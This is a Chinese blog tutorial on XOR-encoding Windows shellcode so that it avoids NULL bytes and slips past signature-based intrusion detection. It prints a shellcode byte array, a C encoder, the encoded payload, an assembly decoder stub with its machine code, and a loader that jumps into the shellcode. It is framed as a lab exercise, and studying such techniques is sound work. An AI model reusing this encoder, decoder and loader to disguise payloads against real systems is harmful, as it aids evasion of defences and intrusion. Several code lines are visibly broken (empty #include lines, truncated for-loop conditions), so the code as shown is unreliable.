• 3.6 shellcode编码技术


    目录

    一、为什么需要对shellcode进行编码?

     二、实验环境

    三、实验步骤


    一、为什么需要对shellcode进行编码?

            主要原因有:

            (1)所有的字符串函数都会对NULL字节进行限制,为此,我们需要使用特殊的指令来避免在shellcode中直接出现NULL字节或者字;

            (2)有些函数还要求shellcode必须为可见字符的ASCII值或者Unicode值;

            (3)基于特征的IDS系统往往也会对常见的shellcode进行拦截。

            说到底,就是如何绕过各种各样的规则,将shellcode从程序接口安全得送入栈内!

            方法:使用编码技术对shellcode进行编码,使其满足限制得要求,再构造解码程序,放在shellcode开始执行的地方。当exploit成功时,shellcode顶端的解码程序首先运行,它会把shellcode还原成原来的样子。示意图如下:

     二、实验环境

            windows XP、VC6.0、Ollydbg

            需要用到的shellcode代码:

    1. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63"
    2. "\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    3. "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7"
    4. "\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    5. "\x68\x75\x73\x65\x72\x54\x33\xD2"
    6. "\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    7. "\x49\x1C\x8B\x09\x8B\x69\x08\xAD"
    8. "\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    9. "\xFF\x57\xF8\x95\x60\x8B\x45\x3C"
    10. "\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    11. "\x20\x03\xDD\x33\xFF\x47\x8B\x34"
    12. "\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    13. "\xC4\x74\x08\xC1\xCA\x07\x03\xD0"
    14. "\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    15. "\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
    16. "\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    17. "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D"
    18. "\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    19. "\x53\x68\x77\x65\x73\x74\x68\x66"
    20. "\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    21. "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

    三、实验步骤

    1、对shellcode进行编码。本实验采用基于异或运算得编码器,具体代码如下:

    1. #include
    2. #include
    3. #include
    4. void encoder(char* input,unsigned char key,int display_flag) //bool display_flag
    5. {
    6. int i=0,len=0;
    7. FILE* fp;
    8. unsigned char* output;
    9. len=strlen(input);
    10. output=(unsigned char*)malloc(len+1);
    11. if(!output)
    12. {
    13. printf("memory erro!\n");
    14. exit(0);
    15. }
    16. //encode the shellcode
    17. for(i=0;i
    18. {
    19. output[i]=input[i]^key;
    20. }
    21. if(!(fp=fopen("encode.txt","w+")))
    22. {
    23. printf("output file create erro");
    24. exit(0);
    25. }
    26. fprintf(fp,"\"");
    27. for(i=0;i
    28. {
    29. fprintf(fp,"\\x%0.2x",output[i]);
    30. if((i+1)%16==0)
    31. {
    32. fprintf(fp,"\"\n\"");
    33. }
    34. }
    35. fprintf(fp,"\";");
    36. fclose(fp);
    37. printf("dump the encoded shellcode to encode.txt OK!\n");
    38. if(display_flag)//print to screen
    39. {
    40. for(i=0;i
    41. {
    42. printf("%0.2x",output[i]);
    43. if((i+1)%16==0)
    44. {
    45. printf("\n");
    46. }
    47. }
    48. }
    49. free(output);
    50. }
    51. void main()
    52. {
    53. char shellcode[] =
    54. "\xFC\x68\x6A\x0A\x38\x1E\x68\x63"
    55. "\x89\xD1\x4F\x68\x32\x74\x91\x0C"
    56. "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7"
    57. "\x04\x2B\xE3\x66\xBB\x33\x32\x53"
    58. "\x68\x75\x73\x65\x72\x54\x33\xD2"
    59. "\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
    60. "\x49\x1C\x8B\x09\x8B\x69\x08\xAD"
    61. "\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
    62. "\xFF\x57\xF8\x95\x60\x8B\x45\x3C"
    63. "\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
    64. "\x20\x03\xDD\x33\xFF\x47\x8B\x34"
    65. "\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
    66. "\xC4\x74\x08\xC1\xCA\x07\x03\xD0"
    67. "\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
    68. "\xE4\x8B\x59\x24\x03\xDD\x66\x8B"
    69. "\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
    70. "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D"
    71. "\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
    72. "\x53\x68\x77\x65\x73\x74\x68\x66"
    73. "\x61\x69\x6C\x8B\xC4\x53\x50\x50"
    74. "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
    75. encoder(shellcode,0x44,1);
    76. }

            在vc6.0中直接编译、执行,会得到编码后的shellcode。

            编码后的shellcode如下:

    1. "\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48"
    2. "\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17"
    3. "\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf"
    4. "\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1"
    5. "\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d"
    6. "\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e"
    7. "\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31"
    8. "\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47"
    9. "\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f"
    10. "\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14"
    11. "\x17\xbb\x13\xb8\x17\xbb\x13\xbc";

    2、对于解码,可以用如下代码实现:

    1. #include
    2. void main()
    3. {
    4. _asm
    5. {
    6. add eax,0x14
    7. xor ecx,ecx
    8. decode_loop:
    9. mov bl,[eax+ecx]
    10. xor bl,0x44
    11. mov [eax+ecx],bl
    12. inc ecx
    13. cmp bl,0x90
    14. jne decode_loop
    15. }
    16. }

            注:解码器不能单独运行,需要在VC6.0中编译、执行,生成PE文件,然后用Ollydbg提取出二进制的机器码。

    汇编变为机器码
    机器代码汇编指令说明
    \x83\xC0\x14add eax,0x14越过decoder代码区
    \x33\xC9xor ecx,ecxECX被当作循环变量
    \x8A\x1C\x08mov bl,[eax+ecx]
    \x80\xF3\x44xor bl,0x44key=0x44
    x88\x1C\x08mov [eax+ecx],bl
    \x41inc ecx
    \x80\xFB\x90cmp bl,0x900x90作为shellcode结束的标识符
    \x75\xF1jne

    3、将解码指令放在经过编码后的shellcode前面,一起送入装载器测试。

    1. #include
    2. #include
    3. char shellcode[] =
    4. "\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1"
    5. "\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48"
    6. "\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17"
    7. "\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf"
    8. "\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1"
    9. "\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d"
    10. "\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e"
    11. "\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31"
    12. "\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47"
    13. "\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f"
    14. "\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14"
    15. "\x17\xbb\x13\xb8\x17\xbb\x13\xbc";
    16. void main()
    17. {
    18. _asm
    19. {
    20. lea eax,shellcode
    21. push eax
    22. ret
    23. }
    24. }

            运行效果:

     

  • 相关阅读:
    ASP.NET 系列:单元测试
    (一) 使用 Hugo 搭建个人博客保姆级教程(上篇)
    vue3学习(十五)--- Pinia状态管理器
    什么是spring mvc 模式
    【luogu P7967】Magneti(DP)
    CAPL函数 Test Node中TestWait xxx 常用函数
    2023年下半年架构案例真题及答案
    PAT 1011 World Cup Betting
    linux驱动程序的加载顺序
    常用数据结构剖析
  • 原文地址:https://blog.csdn.net/qq_55202378/article/details/126143031